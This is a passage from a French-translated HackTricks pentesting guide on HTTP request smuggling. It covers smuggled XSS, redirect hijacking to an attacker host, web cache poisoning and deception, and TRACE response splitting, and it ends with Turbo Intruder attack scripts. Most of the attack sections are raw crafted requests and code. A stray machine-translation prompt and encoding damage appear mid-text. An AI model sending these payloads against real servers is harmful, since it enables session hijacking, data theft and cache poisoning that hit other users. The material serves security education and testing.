Ce payload est structuré pour exploiter la vulnérabilité en :
- Initier une requĂȘte
POST
, apparemment typique, avec un headerTransfer-Encoding: chunked
pour indiquer le début du smuggling. - Suivi d'un
0
, marquant la fin du corps du messagechunked
. - Ensuite, une requĂȘte
GET
smuggled est introduite, oĂč le headerUser-Agent
est injecté avec un script,<script>alert(1)</script>
, dĂ©clenchant la XSS lorsque le serveur traite cette requĂȘte ultĂ©rieure.
En manipulant le User-Agent
via smuggling, le payload contourne les contraintes normales des requĂȘtes, exploitant ainsi la vulnĂ©rabilitĂ© Reflected XSS de maniĂšre non standard mais efficace.
HTTP/0.9
caution
Si le contenu utilisateur est reflété dans une réponse avec un Content-type
tel que text/plain
, empĂȘchant l'exĂ©cution du XSS. Si le serveur prend en charge HTTP/0.9 il pourrait ĂȘtre possible de contourner cela !
La version HTTP/0.9 précédait HTTP/1.0 et n'utilise que les verbes GET et ne répond pas avec des headers, seulement le body.
Dans this writeup, cela a Ă©tĂ© abusĂ© avec un request smuggling et un endpoint vulnĂ©rable qui renverra l'entrĂ©e de l'utilisateur pour smuggler une requĂȘte en HTTP/0.9. Le paramĂštre reflĂ©tĂ© dans la rĂ©ponse contenait une fake HTTP/1.1 response (with headers and body), de sorte que la rĂ©ponse contient du code JS exĂ©cutable valide avec un Content-Type
de text/html
.
Exploiter les redirections sur site avec HTTP Request Smuggling
Les applications redirigent souvent d'une URL Ă une autre en utilisant le nom d'hĂŽte du header Host
dans l'URL de redirection. C'est courant avec des web servers comme Apache et IIS. Par exemple, demander un dossier sans slash final entraĂźne une redirection pour inclure le slash :
GET /home HTTP/1.1
Host: normal-website.com
Résulte en :
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Bien que apparemment inoffensif, ce comportement peut ĂȘtre manipulĂ© en utilisant HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Cette requĂȘte smuggled pourrait entraĂźner la redirection de la prochaine requĂȘte utilisateur traitĂ©e vers un site contrĂŽlĂ© par un attaquant :
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Résulte en :
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Dans ce scĂ©nario, la requĂȘte d'un utilisateur pour un fichier JavaScript est dĂ©tournĂ©e. L'attacker peut potentiellement compromettre l'utilisateur en renvoyant du JavaScript malveillant en rĂ©ponse.
Exploitation de Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning peut ĂȘtre exĂ©cutĂ© si un composant de l'infrastructure front-end met en cache du contenu, typiquement pour amĂ©liorer les performances. En manipulant la rĂ©ponse du serveur, il est possible de poison the cache.
PrĂ©cĂ©demment, nous avons observĂ© comment les rĂ©ponses serveur pouvaient ĂȘtre altĂ©rĂ©es pour renvoyer une erreur 404 (voir Basic Examples). De mĂȘme, il est faisable de tromper le serveur pour qu'il dĂ©livre le contenu de /index.html
en rĂ©ponse Ă une requĂȘte pour /static/include.js
. Par conséquent, le contenu de /static/include.js
est remplacé dans le cache par celui de /index.html
, rendant /static/include.js
inaccessible aux utilisateurs, pouvant mener Ă un Denial of Service (DoS).
Cette technique devient particuliĂšrement puissante si une Open Redirect vulnerability est dĂ©couverte ou s'il existe un on-site redirect to an open redirect. De telles vulnĂ©rabilitĂ©s peuvent ĂȘtre exploitĂ©es pour remplacer le contenu mis en cache de /static/include.js
par un script sous le contrÎle de l'attacker, permettant essentiellement une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant le /static/include.js
mis Ă jour.
Ci-dessous une illustration de l'exploitation de cache poisoning combined with an on-site redirect to open redirect. L'objectif est d'altérer le contenu du cache de /static/include.js
pour servir du code JavaScript contrÎlé par l'attacker :
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Remarquez la requĂȘte intĂ©grĂ©e ciblant /post/next?postId=3
. Cette requĂȘte sera redirigĂ©e vers /post?postId=4
, en utilisant la Host header value pour dĂ©terminer le domaine. En modifiant la Host header, l'attaquant peut rediriger la requĂȘte vers son domaine (on-site redirect to open redirect).
AprÚs un socket poisoning réussi, une GET request pour /static/include.js
doit ĂȘtre initiĂ©e. Cette requĂȘte sera contaminĂ©e par la prĂ©cĂ©dente requĂȘte on-site redirect to open redirect et rĂ©cupĂ©rera le contenu du script contrĂŽlĂ© par l'attaquant.
Par la suite, toute requĂȘte pour /static/include.js
servira le contenu mis en cache du script de l'attaquant, lançant ainsi une attaque XSS à grande échelle.
Utiliser HTTP request smuggling pour effectuer web cache deception
What is the difference between web cache poisoning and web cache deception?
- Dans web cache poisoning, l'attaquant amĂšne l'application Ă stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache Ă d'autres utilisateurs de l'application.
- Dans web cache deception, l'attaquant amÚne l'application à stocker du contenu sensible appartenant à un autre utilisateur dans le cache, puis récupÚre ce contenu depuis le cache.
L'attaquant construit une smuggled request qui récupÚre du contenu sensible spécifique à un utilisateur. Considérez l'exemple suivant:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Si cette requĂȘte smuggled empoisonne une entrĂ©e de cache destinĂ©e Ă du contenu statique (par ex., /someimage.png
), les données sensibles de la victime provenant de /private/messages
pourraient ĂȘtre mises en cache sous l'entrĂ©e de cache du contenu statique. Par consĂ©quent, l'attaquant pourrait potentiellement rĂ©cupĂ©rer ces donnĂ©es sensibles mises en cache.
Abus de TRACE via HTTP Request Smuggling
In this post il est suggĂ©rĂ© que si le serveur a la mĂ©thode TRACE activĂ©e, il pourrait ĂȘtre possible d'en abuser avec HTTP Request Smuggling. Ceci s'explique par le fait que cette mĂ©thode renvoie tout en-tĂȘte envoyĂ© au serveur dans le corps de la rĂ©ponse. Par exemple :
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Veuillez coller le contenu du fichier README.md que vous voulez que je traduise en français.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
An example on how to abuse this behaviour would be to smuggle first a HEAD request. This request will be responded with only the headers of a GET request (Content-Type
among them). And smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
As the HEAD response will be containing a Content-Length
header, the response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data in the response.
This response will be sent to the next request over the connection, so this could be used in a cached JS file for example to inject arbitrary JS code.
Abusing TRACE via HTTP Response Splitting
La lecture de this post est suggĂ©rĂ©e pour une autre façon d'abuser de la mĂ©thode TRACE. Comme indiquĂ©, en smuggling une requĂȘte HEAD et une requĂȘte TRACE il est possible de contrĂŽler certaines donnĂ©es reflĂ©tĂ©es dans la rĂ©ponse Ă la requĂȘte HEAD. La longueur du corps de la requĂȘte HEAD est essentiellement indiquĂ©e dans l'en-tĂȘte Content-Length
et est constituĂ©e par la rĂ©ponse Ă la requĂȘte TRACE.
Par conséquent, l'idée consiste à dire que, connaissant ce Content-Length
et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une HTTP response valide aprÚs le dernier octet du Content-Length
, permettant Ă un attaquant de contrĂŽler complĂštement la requĂȘte vers la rĂ©ponse suivante (ce qui pourrait ĂȘtre utilisĂ© pour effectuer un cache poisoning).
Example:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Générera ces réponses (remarquez comment la réponse HEAD possÚde un Content-Length qui fait que la réponse TRACE fait partie du corps de la réponse HEAD et, une fois que le Content-Length de la réponse HEAD prend fin, une réponse HTTP valide est smuggled) :
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(âarbitrary responseâ)</script>
Exploiter HTTP Request Smuggling avec HTTP Response Desynchronisation
Avez-vous trouvé une vulnérabilité HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :
HTTP Response Smuggling / Desync
Autres techniques de HTTP Request Smuggling
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Scripts Turbo intruder
CL.TE
Source: https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Source: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Outils
- HTTP Hacker (Burp BApp Store) â visualiser la concatĂ©nation/le framing et le comportement HTTP bas niveau
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Cet outil est un HTTP Fuzzer basé sur une grammaire, utile pour trouver des incohérences étranges de request smuggling.
Références
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Attention aux faux fauxâpositifs : comment distinguer HTTP pipelining du request smuggling â https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- BrowserâPowered Desync Attacks â https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy â clientâside desync â https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.